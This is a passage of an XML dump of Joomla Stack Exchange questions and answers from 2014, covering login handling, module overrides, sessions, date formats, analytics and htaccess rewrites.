&amp;lt;option value=&quot;Saturday&quot;&amp;gt;Saturday&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Sunday&quot;&amp;gt;Sunday&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2269" LastEditorUserId="168" LastEditDate="2014-11-26T08:14:55.227" LastActivityDate="2014-11-26T08:14:55.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5409" PostTypeId="2" ParentId="5407" CreationDate="2014-11-26T08:17:46.330" Score="1" Body="&lt;p&gt;You would be best off using the default Login module provided with Joomla. You will find this one to have minimal code as options are rather limited. Joomla 3.x uses &lt;code&gt;Bycrypt&lt;/code&gt; as the password encryption method as supposed to &lt;code&gt;md5 + salt&lt;/code&gt; in Joomla 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just so that you know, you do not have to create your own module as the Login module comes shipped with Joomla, so all you have to do is enable it and set it's position in the Module Manager. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-26T08:17:46.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5410" PostTypeId="1" CreationDate="2014-11-26T08:38:47.627" Score="3" ViewCount="1984" Body="&lt;p&gt;I would like to customize the language switcher module, that is I would have some different effect, like having name and flags together.&#xA;How could I perform it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla version 3.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;template used: SJ plus v1&lt;/p&gt;&#xA;" OwnerUserId="2270" LastEditorUserId="126" LastEditDate="2016-01-22T00:09:21.703" LastActivityDate="2016-01-22T00:09:21.703" Title="Create custom language switcher module" Tags="|module|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5411" PostTypeId="1" CreationDate="2014-11-26T08:42:06.220" Score="1" ViewCount="189" Body="&lt;p&gt;Want to implement Google Analytics code to our website. Is it possible to add the code into any template or the one that is default. The reason is it is easy for me to add Google Analytics code to Beez3 template but for a template by Gavick.com, there is a different method. So, my question is if I add the code to Beez template which I am not using, will it work?&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2014-11-27T02:14:49.700" Title="Google Analytics code be added to a template which I am not using?" Tags="|google-analytics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5412" PostTypeId="2" ParentId="5411" CreationDate="2014-11-26T09:10:54.240" Score="1" Body="&lt;p&gt;No, it will not work. Only the template you have selected as default will be used. All other templates are ignored. I believe Gavic Pro have their own methods for using Google Analytics and the documentation on how to implement it can be seen at the following link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.gavick.com/documentation/uncategorized/how-to-add-google-analytics-or-other-statistics-in-joomla/&quot; rel=&quot;nofollow&quot;&gt;https://www.gavick.com/documentation/uncategorized/how-to-add-google-analytics-or-other-statistics-in-joomla/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do decide to go along with editing the core template file as shown in the documentation link above, then you will need to make sure you re-implement the code if you ever update the template as your changes will be lost.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-26T09:10:54.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5413" PostTypeId="1" AcceptedAnswerId="7272" CreationDate="2014-11-26T09:10:57.677" Score="2" ViewCount="395" Body="&lt;p&gt;tI want to add a calendar field to my custom form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Calendar_form_field_type&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Calendar_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd like that expected date format would be different depending on user's active language, as &quot;standard&quot; format is different from Europe to the US, for example. When outputting a date, Joomla handles that by default using DATE_FORMAT_LC constant, which comes fully localised with each language pack, and you can even customise it on a per language basis using language overrides... is there something similar for entering dates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the link I posted above it says this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;format (optional) is the date format to be used. This is in the format used by PHP to specify date string formats (see below). If no format argument is given, '%Y-%m-%d' is assumed (giving dates like '2008-04-16').&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried entering the lang constant for date format to that parameter, but doesn't seem to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;mycalendar&quot; type=&quot;calendar&quot; default=&quot;5-10-2008&quot; label=&quot;Select a date&quot; description=&quot;&quot; format=&quot;DATE_FORMAT_LC&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a built-in way for handling this? Or I'll have to add the logic to use one format or another depending on user's language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1504" LastEditorUserId="1504" LastEditDate="2014-11-26T09:43:10.037" LastActivityDate="2015-01-27T12:16:09.010" Title="How to set localised format for dates in a calendar field of a form?" Tags="|development|form|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5414" PostTypeId="2" ParentId="5410" CreationDate="2014-11-26T09:16:18.690" Score="4" Body="&lt;p&gt;You can easily create an override of that module from Template Manager, as explained here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Creating_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just go into the &quot;override&quot; tab and click con &quot;mod_language&quot; on the modules list. You'll get lang switcher overrideable file added to your template's HTML folder (inside a mod_language subfolder). Just browse to that file and edit it directly from your template manager:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Customisation_View&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.x:How_to_use_the_Template_Manager#Customisation_View&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once there, it's up to your HTML/CSS skills how much you can modify the module ;).&lt;/p&gt;&#xA;" OwnerUserId="1504" LastActivityDate="2014-11-26T09:16:18.690" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5415" PostTypeId="1" AcceptedAnswerId="5416" CreationDate="2014-11-26T10:13:15.980" Score="2" ViewCount="65" Body="&lt;p&gt;In my Joomla install there's already a template installed, and with this template came the folder &quot;template&quot; in media. I want to place my &quot;menu background images&quot; folder within this &quot;template&quot; folder upon installing my menu module. How do I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="2124" LastActivityDate="2014-11-26T16:10:37.777" Title="Create a folder upon install" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5416" PostTypeId="2" ParentId="5415" CreationDate="2014-11-26T10:42:06.897" Score="4" Body="&lt;p&gt;You can create &lt;a href=&quot;http://docs.joomla.org/J2.5:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow&quot;&gt;install-uninstall-script&lt;/a&gt; file and on installation of the module move the images folder in to the desired location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way using xml syntax, but this is restricted to media directory only. In case you want to move your module media to some directory other than Joomla-root/media then this solution will not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;media folder=&quot;media&quot; destination=&quot;Template_directory&quot;&amp;gt;&#xA;            &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;            &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="396" LastEditorUserId="396" LastEditDate="2014-11-26T16:10:37.777" LastActivityDate="2014-11-26T16:10:37.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5417" PostTypeId="1" AcceptedAnswerId="5472" CreationDate="2014-11-26T10:58:16.250" Score="5" ViewCount="1423" Body="&lt;p&gt;I'm trying to do a very basic login function through my component, but I'm always getting back a TRUE response from the auth, whether I use valid credentials or not.  The docs seem to indicate that it would only return true on success.  Here's the controller task I'm using, along with the docs for the login method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Login authentication function.&#xA; *&#xA; * Username and encoded password are passed the onUserLogin event which&#xA; * is responsible for the user validation. A successful validation updates&#xA; * the current session record with the user's details.&#xA; *&#xA; * Username and encoded password are sent as credentials (along with other&#xA; * possibilities) to each observer (authentication plugin) for user&#xA; * validation.  Successful validation will update the current session with&#xA; * the user details.&#xA; *&#xA; * @param   array  $credentials  Array('username' =&amp;gt; string, 'password' =&amp;gt; string)&#xA; * @param   array  $options      Array('remember' =&amp;gt; boolean)&#xA; *&#xA; * @return  boolean  True on success.&#xA; *&#xA; * @since   3.2&#xA; */&#xA;public function cartlogin() {&#xA;    $app = JFactory::getApplication();&#xA;    $username = $app-&amp;gt;input-&amp;gt;get('username', '', 'STRING');&#xA;    $password = $app-&amp;gt;input-&amp;gt;get('password', '', 'STRING');&#xA;&#xA;    $result = $app-&amp;gt;login(array('username' =&amp;gt; $username, 'password' =&amp;gt; $password));        &#xA;    if ($result == TRUE) {&#xA;        $app-&amp;gt;enqueueMessage(JText::_('COM_CUSTOM_LOGIN_SUCCESS'), 'message');&#xA;        $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_custom&amp;amp;view=cart', false));&#xA;    } else {&#xA;        $app-&amp;gt;enqueueMessage(JText::_('COM_CUSTOM_LOGIN_FAILED'), 'error');&#xA;        $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_custom&amp;amp;view=cart', false));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the login form.  And before you say it, I know - I didn't integrate the 'remember me' function yet.  But that doesn't have anything to do with actual authentication.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot; col-lg-6 col-md-6 col-sm-6 col-xs-6&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;span&amp;gt;Sign in to place your order!&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;form id=&quot;login-form&quot; method=&quot;post&quot; action=&quot;&amp;lt;?php echo JROUTE::_('index.php') ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;fieldset class=&quot;userdata&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot; id=&quot;form-login-username&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;input-group&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;input-group-addon&quot;&amp;gt;&#xA;                        &amp;lt;i title=&quot;Username&quot; class=&quot;fa fa-user tip&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; placeholder=&quot;Username&quot; size=&quot;18&quot; tabindex=&quot;0&quot; class=&quot;input form-control&quot; name=&quot;username&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot; id=&quot;form-login-password&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;input-group&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;input-group-addon&quot;&amp;gt;&#xA;                        &amp;lt;i title=&quot;Password&quot; class=&quot;fa fa-lock tip&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;input type=&quot;password&quot; placeholder=&quot;Password&quot; size=&quot;18&quot; tabindex=&quot;0&quot; class=&quot;input form-control&quot; name=&quot;password&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;form-group&quot; id=&quot;form-login-remember&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;checkbox&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;modlgn-remember&quot;&amp;gt;&#xA;                        &amp;lt;input type=&quot;checkbox&quot; value=&quot;yes&quot; class=&quot;input&quot; name=&quot;remember&quot;&amp;gt; Remember Me&amp;lt;/label&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;Log in&quot; class=&quot;btn btn-primary&quot; name=&quot;Submit&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;ul class=&quot;unstyled&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo JROUTE::_('index.php?option=com_users&amp;amp;view=registration'); ?&amp;gt;&quot;&amp;gt;&#xA;                        Create an account &amp;lt;span class=&quot;fa fa-arrow-right&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo JROUTE::_('index.php?option=com_users&amp;amp;view=remind'); ?&amp;gt;&quot;&amp;gt;&#xA;                        Forgot your username?&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php echo JROUTE::_('index.php?option=com_users&amp;amp;view=reset'); ?&amp;gt;&quot;&amp;gt;Forgot your password?&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; value=&quot;com_custom&quot; name=&quot;option&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; value=&quot;cartlogin&quot; name=&quot;task&quot;&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_( 'form.token' ); ?&amp;gt; &#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT (2)&lt;/strong&gt;&#xA;I suppose I could do something like this, but it doesn't seem like it should be the best practice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function cartlogin() {&#xA;    $app = JFactory::getApplication();&#xA;    $username = $app-&amp;gt;input-&amp;gt;get('username', '', 'STRING');&#xA;    $password = $app-&amp;gt;input-&amp;gt;get('password', '', 'STRING');&#xA;    $remember = $app-&amp;gt;input-&amp;gt;get('remember', '', 'BOOLEAN');&#xA;&#xA;    $credentials = array(&#xA;        'username' =&amp;gt; $username, &#xA;        'password' =&amp;gt; $password&#xA;    );&#xA;    $option = array(&#xA;        'remember' =&amp;gt; $remember&#xA;    );&#xA;    $result = $app-&amp;gt;login($credentials,$option);&#xA;&#xA;    if ($result) {&#xA;        $user = JFactory::getUser();&#xA;        if ($user-&amp;gt;id != 0) {&#xA;            $app-&amp;gt;enqueueMessage(JText::_('COM_CUSTOM_LOGIN_SUCCESS'), 'message');&#xA;            $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_custom&amp;amp;view=cart', false));&#xA;        } else {&#xA;            $app-&amp;gt;enqueueMessage(JText::_('COM_CUSTOM_LOGIN_FAILED'), 'error');&#xA;            $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_custom&amp;amp;view=cart', false));&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastEditorUserId="126" LastEditDate="2016-01-22T00:09:07.633" LastActivityDate="2016-01-22T00:09:07.633" Title="Custom component login task" Tags="|php|login|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5418" PostTypeId="1" CreationDate="2014-11-26T12:03:52.600" Score="2" ViewCount="249" Body="&lt;p&gt;I am using the K2 extension for articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the beginning of each article I leave a little text (teaser) then insert the 'Read More' line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go inside the article and click on the plus next to 'font size', in order to increase the scale of the text, only the text after the 'read more' line gets changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to enlarge the text before the read more line along with the whole article text in K2 articles?&lt;/p&gt;&#xA;" OwnerUserId="1708" LastEditorUserId="174" LastEditDate="2014-11-26T14:23:14.480" LastActivityDate="2015-01-25T15:13:48.027" Title="Enlarge text before read more line in k2 article" Tags="|articles|k2|fonts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5419" PostTypeId="2" ParentId="5418" CreationDate="2014-11-26T14:25:44.997" Score="1" Body="&lt;p&gt;You are looking for a style change in the site. You can just edit your template style and change the general font size, or define a specify CSS statement for K2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check in the template manager, what options you template features support, or manully customize the stylesheet. Most templates provide a way to override or add new styles.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-26T14:25:44.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5420" PostTypeId="1" CreationDate="2014-11-26T15:00:30.160" Score="3" ViewCount="628" Body="&lt;p&gt;I am trying to set a value in external file but the session values are not set correctly. The session is set some times and other times it is not set. I am setting a session using ajax call following is the code in external file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/' ));&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;$mainframe =&amp;amp; JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;&#xA;$session =&amp;amp; JFactory::getSession();&#xA;$session-&amp;gt;set('continent',123456); //Set session name and value&#xA;echo $session-&amp;gt;get('continent'); //Get session value &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In ajax call I can get the session values using &quot;$session-&gt;get('continent')&quot; but when I try to get the session value in inside Jommla I get null or nothing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session =&amp;amp; JFactory::getSession();&#xA;echo $session-&amp;gt;get('continent');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just use the above code to get the value. Can some one tell me what wrong I am doing?&lt;/p&gt;&#xA;" OwnerUserId="2273" LastEditorUserId="159" LastEditDate="2014-11-26T20:01:08.570" LastActivityDate="2014-11-26T20:01:08.570" Title="Session variable in joomla 2.5 external file" Tags="|joomla-3.x|joomla-2.5|fix-my-code|session|jsession|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5421" PostTypeId="1" CreationDate="2014-11-26T15:56:49.367" Score="2" ViewCount="499" Body="&lt;p&gt;I have a module (RSForm Pro) which shows on my site on page load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want all new site visitors to be shown this module, but I don't want it shown if details have been added to the form or the form has been closed (using the [x]). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to do this? Can this be done using a cookie?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the module in action here: &lt;a href=&quot;http://trade.inapub.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://trade.inapub.co.uk/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2015-01-08T08:54:22.890" LastActivityDate="2015-01-08T08:54:22.890" Title="Setting a cookie after an RSForm has been completed" Tags="|cookies|rsform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5422" PostTypeId="2" ParentId="5421" CreationDate="2014-11-26T16:20:45.760" Score="2" Body="&lt;p&gt;I would personally stay away from cookies in this instance, as they can be deleted from the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you would be better off (&lt;strong&gt;If the user must be logged in first&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Creating a database table with a column called &lt;code&gt;user_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Write a database query that gets executed once the form has been filled in and add the user ID to the &lt;code&gt;user_id&lt;/code&gt; column in the database.&lt;/li&gt;&#xA;&lt;li&gt;Once a user visits your site, run a database query to check if the user's ID exists in your database table.&lt;/li&gt;&#xA;&lt;li&gt;Get the results from the query and show your form if their ID doesn't exist&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you user doesn't need to be logged in (form is for public use), then I would suggest using a PHP session and of course sticking to Joomla's coding standards when doing so.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-26T16:20:45.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5423" PostTypeId="2" ParentId="5407" CreationDate="2014-11-26T19:35:56.847" Score="1" Body="&lt;p&gt;You don't even need to worry about the encryption methods, because you can use the built in authentication library to handle it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$username = $app-&amp;gt;input-&amp;gt;get('username', '', 'STRING');&#xA;$password = $app-&amp;gt;input-&amp;gt;get('password', '', 'STRING');&#xA;&#xA;$result = $app-&amp;gt;login(array('username' =&amp;gt; $username, 'password' =&amp;gt; $password));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2014-11-26T19:35:56.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5424" PostTypeId="2" ParentId="5420" CreationDate="2014-11-26T19:44:01.923" Score="2" Body="&lt;p&gt;Your App initialization is not exactly the same than Joomla! CMS. Any minor difference can cause a condition to create a new session, instead of the reusing the original session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of trying to load the session from an external file, you can just implement a controller task inside the CMS, to avoid any risk of not loading the same session.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-26T19:44:01.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5425" PostTypeId="1" AcceptedAnswerId="5441" CreationDate="2014-11-26T19:57:06.707" Score="1" ViewCount="47" Body="&lt;p&gt;Is it possible to prevent a user being in a particular User Group if they are already in another?  e.g. A user cannot be a in &quot;Authors&quot; if they're already in &quot;Administrator&quot;? (not necessarily a practical example, but for the question)&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-27T11:26:28.913" Title="Are Mutually Exclusive User Groups possible?" Tags="|user-groups|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5426" PostTypeId="1" AcceptedAnswerId="5428" CreationDate="2014-11-26T20:02:22.277" Score="2" ViewCount="648" Body="&lt;p&gt;I am looking into getting &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/a/5361/159&quot;&gt;this script&lt;/a&gt;&lt;/strong&gt; from the question &lt;a href=&quot;https://joomla.stackexchange.com/q/5359/159&quot;&gt;Create categories, subcategories and articles using php&lt;/a&gt; to run, but I can't seem to understand the basics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do?&lt;/p&gt;&#xA;" OwnerUserId="2249" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-11-26T21:31:24.910" Title="Run a snippet of code in PHP using Joomla" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5427" PostTypeId="2" ParentId="5425" CreationDate="2014-11-26T20:13:23.077" Score="1" Body="&lt;p&gt;There is no feature to enforce Exclusive User Groups in Joomla. Users can be on more than one group.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-11-26T20:13:23.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5428" PostTypeId="2" ParentId="5426" CreationDate="2014-11-26T20:32:01.367" Score="4" Body="&lt;p&gt;While not clearly explained, this actually looks like a script that does not need to run in Joomla, in the sense that is not a typical MVC extension. So you don't need to edit &lt;code&gt;com_content&lt;/code&gt; or anything like this or to install it in Joomla somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the script is standalone. You just need to put it in the base folder of Joomla. For example name it &lt;code&gt;create-categories.php&lt;/code&gt; and put the code inside. You than call the script with the browser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/create-categories.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does this work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script basically loads an instance of Joomla, without actually calling the whole website. It allows it to make use of existing classes in order to create articles and categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the answer states, the snippet of code is a basic idea, not something to use in production. It may throw errors or have other problems which you need to debug and therefore you need a good understanding of Joomla.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-11-26T21:31:24.910" LastActivityDate="2014-11-26T21:31:24.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5429" PostTypeId="1" AcceptedAnswerId="5430" CreationDate="2014-11-26T21:42:45.140" Score="4" ViewCount="1579" Body="&lt;p&gt;Is it possible to hide the name of a Joomla 3 template, e.g while looking at 'view source' in a browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's possible to rename the temate but this doesn't hide the name, it's still visible in all the css/js paths etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume there are a lot of template related urls that would need changed or hidden? Not sure if anything can be changed in the .htaccess or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions welcome. &lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2016-07-25T10:28:59.523" Title="Hide Template Name" Tags="|joomla-3.x|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5430" PostTypeId="2" ParentId="5429" CreationDate="2014-11-26T22:06:26.090" Score="4" Body="&lt;p&gt;You can, sort of... but you have to be careful.  Take this scenario:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^css/(.*) /templates/purity_iii/css/$1 [L]&#xA;RewriteRule ^js/(.*) /templates/purity_iii/js/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would work fine, as long as you don't have any css or js outside of your theme path, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/media/jui/js/jquery.min.js&#xA;/media/jui/js/jquery-noconflict.js&#xA;/media/jui/js/jquery-migrate.min.js&#xA;/media/system/js/caption.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in short, it depends on the template you're using, and your skill with htaccess.&lt;/p&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2014-11-26T22:06:26.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5431" PostTypeId="2" ParentId="5429" CreationDate="2014-11-26T22:08:04.173" Score="4" Body="&lt;p&gt;The only thing you can do that I know of is rename the template folder of the template you're using. This may seem like it makes no difference but sometimes it can, especially if you're using a one from a popular template provider where the prefix is well known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do change your template folder name, make sure you reactivate it in the Template Manager so the new name is taken into account&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-26T22:08:04.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5432" PostTypeId="2" ParentId="5411" CreationDate="2014-11-27T02:14:49.700" Score="1" Body="&lt;p&gt;Might I suggest a plugin - you can just install and enable it for your whole site, then it doesn't matter which template you're using at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the Extensions Directory, there's quite a selection under &lt;a href=&quot;http://extensions.joomla.org/extensions/site-management/analytics/site-analytics-google-based&quot; rel=&quot;nofollow&quot;&gt;SITE ANALYTICS - GOOGLE BASED&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-27T02:14:49.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
